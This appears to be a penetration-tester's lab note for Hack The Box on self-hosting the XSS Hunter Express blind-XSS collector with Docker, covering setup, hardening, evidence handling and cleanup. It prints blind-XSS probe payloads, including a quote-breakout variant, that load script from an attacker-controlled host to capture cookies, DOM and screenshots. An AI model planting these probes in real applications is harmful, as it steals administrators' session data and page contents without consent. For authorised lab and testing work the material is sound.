Blind XSS Tool — XSS Hunter fas:ClipboardList
Summary ris:Eye
XSS Hunter Express is a self-hosted blind-XSS reporting platform. When its generated probe executes in an unseen HTB browser, the platform can record the vulnerable URI, origin, referrer, user agent, non-HttpOnly cookies, page DOM, screenshots, and request metadata. Use it when a simple DNS or HTTP callback is insufficient and the lab requires evidence from an administrator-facing or asynchronous rendering path.
[!danger]+ HTB-Only Boundary
fas:TriangleExclamation
- Deploy probes only into Hack The Box labs or systems you own and are explicitly authorised to test.
- The collector may receive session data, DOM content, screenshots, and internal URLs. Treat its database and image directory as sensitive.
- Use a dedicated hostname, strong credentials, minimal exposure, and short retention.
- See Cross-Site Scripting (XSS) - HTB Cheat Sheet for payload selection and evidence rules.
Conceptual Information ris:GlobalLine
When to Use XSS Hunter
| Requirement | Fit |
|---|---|
| Confirm a single DNS or HTTP interaction | Use Blind XSS Tool - Interactsh instead |
| Capture screenshots and DOM context | Strong fit |
| Correlate many stored fields | Strong fit with unique probe paths |
| Avoid operating internet-facing infrastructure | Use a hosted OAST service or a local listener where routing permits |
| Fine-grained payload/report controls | Compare with Blind XSS Tool - ezXSS |
Data Flow
- An HTB field stores the generated
<script src>probe. - A lab administrator or automated browser renders the field.
- The browser requests the XSS Hunter probe over HTTPS.
- The probe collects its configured evidence and posts a report to the collector.
- The dashboard and optional notification channel expose the callback.
[!warning]+ Security Model
fas:TriangleExclamation
- XSS Hunter is itself an internet-facing web application and evidence store.
- Do not reuse its root domain for email, production websites, or unrelated services.
- Restrict the admin panel at the firewall or reverse proxy when possible.
- If the control panel is disabled, verify how reports will be reviewed before planting probes.
Prerequisites ris:FileList
| Requirement | Minimum or recommendation | Check |
|---|---|---|
| Linux VPS | At least 2 GB RAM per the project README | free -h |
| Docker Engine | Current supported release | docker --version |
| Docker Compose | Compose v2 preferred; legacy docker-compose is also accepted by the project | docker compose version |
| Dedicated hostname | Short name such as x.YOUR_DOMAIN | dig +short x.YOUR_DOMAIN |
| DNS control | Public A/AAAA record pointing to the VPS | DNS provider panel |
| Inbound ports | TCP 80 and 443 for HTTP/TLS | VPS firewall and cloud firewall |
| Optional notifications | Valid provider credentials | Provider dashboard |
[!important]+ Before Installation
fas:TriangleExclamation
- Create the hostname and wait until it resolves to the server.
- Ensure no other service occupies TCP
80or443.- Record a rollback point or VPS snapshot.
- Generate unique passwords and keep secrets out of shell history and screenshots.
Commands and Implementation ris:Command
1. Verify DNS and Ports
dig +short x.YOUR_DOMAIN
curl -4 https://icanhazip.com
sudo ss -lntp '( sport = :80 or sport = :443 )'
[!info]+ Preflight Breakdown
ris:Radar
dig: The hostname should resolve to the VPS public address.- Public IP check: Confirms the address expected in DNS.
ss: Output should be empty before XSS Hunter starts unless a planned reverse proxy owns the ports.
2. Clone and Inspect the Production Compose Repository
git clone https://github.com/mandatoryprogrammer/xsshunter-express.git
cd xsshunter-express
git status --short
docker compose config --services
[!info]+ Command Breakdown
ris:Command
- Repository: Uses the original XSS Hunter Express repository because its current Compose file contains the documented production hostname, TLS, SMTP, storage, and database settings.
git status --short: Establishes a clean baseline before configuration edits.docker compose config --services: Validates the Compose file and prints the actual service names before startup.
[!warning]+ Truffle Security Fork Status
fas:TriangleExclamation
- The Truffle Security fork contains newer application changes.
- As verified on 2026-08-08, its README still describes the legacy automatic-TLS Compose workflow, while its actual Compose file expects an untracked
dev.env, binds to127.0.0.1:8080, and references a Google Cloud credential mount.- Do not follow that README as a turnkey production deployment without supplying and auditing the missing environment, reverse-proxy, TLS, database, and storage configuration.
3. Configure the Compose File
Edit the repository’s docker-compose.yml and replace the sample values.
| Setting | Required value | Security note |
|---|---|---|
HOSTNAME | x.YOUR_DOMAIN | Use a dedicated, short hostname that already resolves |
SSL_CONTACT_EMAIL | Your certificate contact address | Used for automated Let’s Encrypt issuance and renewal |
MAX_PAYLOAD_UPLOAD_SIZE_MB | A bounded lab-appropriate limit | Large DOM and screenshot reports consume disk and memory |
CONTROL_PANEL_ENABLED | true for dashboard use | Restrict panel access; disable only after confirming an alternate report path |
SMTP_EMAIL_NOTIFICATIONS_ENABLED | false unless configured | Avoid broken or unintended outbound mail |
SMTP_HOST, SMTP_PORT, SMTP_USE_TLS | Matching provider settings | Prefer a lab-only notification account |
SMTP_USERNAME, SMTP_PASSWORD | Lab-only provider credentials | Store as secrets and rotate after exposure |
SMTP_FROM_EMAIL, SMTP_RECEIVER_EMAIL | Deliberate sender and receiver | Avoid forwarding full reports to broad mailboxes |
DATABASE_USER, DATABASE_PASSWORD | Random unique values | Change both application and PostgreSQL values consistently |
cp docker-compose.yml docker-compose.yml.pre-htb
${EDITOR:-vi} docker-compose.yml
docker compose config >/dev/null
[!info]+ Configuration Breakdown
ris:FileList
- The copy provides a local rollback reference without exposing secrets elsewhere.
docker compose configresolves the configuration and fails on malformed YAML or missing values.- Do not commit the configured Compose file if it contains credentials.
4. Start PostgreSQL, Then XSS Hunter
The upstream instructions start the database first and run the application in the foreground for the initial setup.
docker compose up -d postgresdb
docker compose up xsshunterexpress
[!info]+ Startup Breakdown
fas:Terminal
postgresdb: Starts the evidence database in the background.xsshunterexpress: Runs the application in the foreground so the initial administrator password and TLS messages are visible.- The first HTTPS request can be slower while the service obtains a certificate.
- Legacy environments may require
docker-composein place ofdocker compose.
After recording the generated admin password, start the full stack in the background:
docker compose up -d
docker compose ps
docker compose logs --tail=100 xsshunterexpress
[!success]+ Expected Result
ris:Key
- The services show a running state.
https://x.YOUR_DOMAIN/admin/presents the control-panel login.- TLS is valid for the configured hostname.
5. First Login and Hardening
- Browse to
https://x.YOUR_DOMAIN/admin/. - Sign in using the generated password shown during first startup.
- Store the credential in a password manager.
- Restrict the admin path to your VPN or trusted source IP at the cloud firewall or reverse proxy.
- Verify email notifications only if they are deliberately configured.
- Review the configured secondary payload and leave it empty for the initial HTB test.
- Submit the project’s test probe in your own isolated browser and confirm that a report appears.
6. Generate an HTB Blind-XSS Probe
Copy the probe exactly as generated by your instance. A typical shape is:
<script src="https://x.YOUR_DOMAIN/GENERATED_PROBE_PATH"></script>
For a quoted attribute context, break out only after confirming the quote type:
"><script src="https://x.YOUR_DOMAIN/GENERATED_PROBE_PATH"></script>
[!warning]+ Probe Placement
fas:TriangleExclamation
- Use a distinct probe or path label for every HTB field.
- Record the request, field name, account, and timestamp before submission.
- Begin with one field to avoid ambiguous callbacks.
- Do not guess the generated endpoint; copy it from your own dashboard.
7. Interpret a Callback
| Field | What it establishes | Limitation |
|---|---|---|
| Vulnerable URI | Page that rendered the probe | Redirects or SPA routes may alter it |
| Origin | Browser security origin | Does not by itself identify the user |
| Referrer | Navigation or embedding context | May be reduced by referrer policy |
| User agent | Browser/automation fingerprint | Can be generic or spoofed |
| Cookies | JavaScript-readable cookies | HttpOnly cookies are absent |
| DOM | Rendered page structure | May contain sensitive lab content |
| Screenshot | Visual evidence of affected view | Treat as sensitive and minimise retention |
| Responsible request | Injection request when supported | Requires compatible tooling or metadata |
[!success]+ Evidence Standard
ris:Key
- Correlate the callback to the unique field and timestamp.
- Save only the evidence needed to prove the lab objective.
- Report the affected role and page separately from the injecting account.
- Delete reports, screenshots, and stored probes after completing the lab.
Operations and Lifecycle ris:FileList
Logs and Health
docker compose ps
docker compose logs --tail=200 xsshunterexpress
docker compose logs --tail=100 postgresdb
docker stats --no-stream
[!info]+ Operational Checks
ris:FileList
- Application logs expose TLS, configuration, callback, and startup errors.
- Database logs expose storage and authentication failures.
- Resource checks are important on the project’s minimum-size VPS.
Backup
Stop the stack briefly and archive the repository’s persistent data paths and configured Compose file.
docker compose stop
cd ..
tar -czf "xsshunter-backup-$(date +%F).tar.gz" \
xsshunter-express/docker-compose.yml \
xsshunter-express/postgres-db-data \
xsshunter-express/payload-fire-images \
xsshunter-express/ssldata
cd xsshunter-express
docker compose start
[!warning]+ Backup Handling
fas:TriangleExclamation
- Confirm the actual bind-mount paths with
docker compose configbefore archiving.- The archive can contain credentials, cookies, DOM captures, and screenshots.
- Encrypt the archive and keep it only as long as the HTB exercise requires.
Update
git status --short
git pull --ff-only
docker compose pull
docker compose up -d --build
docker compose ps
[!info]+ Update Breakdown
ris:Command
- Back up first and review upstream release notes or repository changes.
--ff-onlyrefuses an unexpected merge.--buildrebuilds the application image from the updated source.- Re-run a self-test probe after the update.
Stop and Cleanup
Preserve evidence volumes while stopping services:
docker compose down
Remove Compose-managed volumes only after exporting required HTB evidence:
docker compose down --volumes
[!danger]+ Destructive Cleanup
fas:TriangleExclamation
--volumescan permanently remove the Compose-managed database volume.- Bind-mounted directories may remain and must be reviewed separately.
- Keep the encrypted backup until you verify that the lab report contains everything required, then dispose of it securely.
Troubleshooting ris:FileList
[!failure]+ Certificate Issuance Fails
fas:CircleXmark
- Confirm
HOSTNAMEresolves publicly to the VPS.- Confirm inbound TCP
80and443are permitted and not occupied.- Verify the certificate contact address and inspect application logs.
- Avoid placing a proxy or CDN in front until initial issuance succeeds unless the repository documents that topology.
[!failure]+ Admin Password Is Not Visible
fas:CircleXmark
- Run
docker compose up xsshunterexpressin the foreground and inspect the initial logs.- Confirm whether an existing database caused initialisation to be skipped.
- Preserve the data directory before any reset; deleting it destroys reports and credentials.
[!failure]+ Probe Loads but No Report Appears
fas:CircleXmark
- Check browser Console and Network for CSP, TLS, mixed-content, or blocked-request errors.
- Confirm the callback endpoint is reachable from the HTB browser.
- Inspect both application and database logs.
- Test the generated probe on an isolated page you control before changing the HTB payload.
[!failure]+ Dashboard Is Reachable Publicly
fas:CircleXmark
- Restrict the admin path by source IP or VPN at the firewall/reverse proxy.
- Rotate the administrator password if exposure was unintended.
- Review logs for unknown access and rotate any notification secrets stored in configuration.
Lessons Learned fas:Lightbulb
- XSS Hunter is most valuable when the lab requires context beyond a single callback.
- Unique probes make stored-field attribution reliable and prevent duplicate callback confusion.
- The evidence store is sensitive infrastructure and needs the same lifecycle discipline as any other assessment database.
- A successful probe proves browser-side execution; every additional impact claim requires separate evidence.
References fas:BookOpen
- XSS Hunter Express Repository
- Truffle Security XSS Hunter Fork
- Docker Engine Installation
- Docker Compose Documentation
- Let’s Encrypt Documentation
- Cross-Site Scripting (XSS) - HTB Cheat Sheet
- Blind XSS Tool - ezXSS
- Blind XSS Tool - Interactsh
#HTB #WebSecurity #XSS #BlindXSS #XSSHunter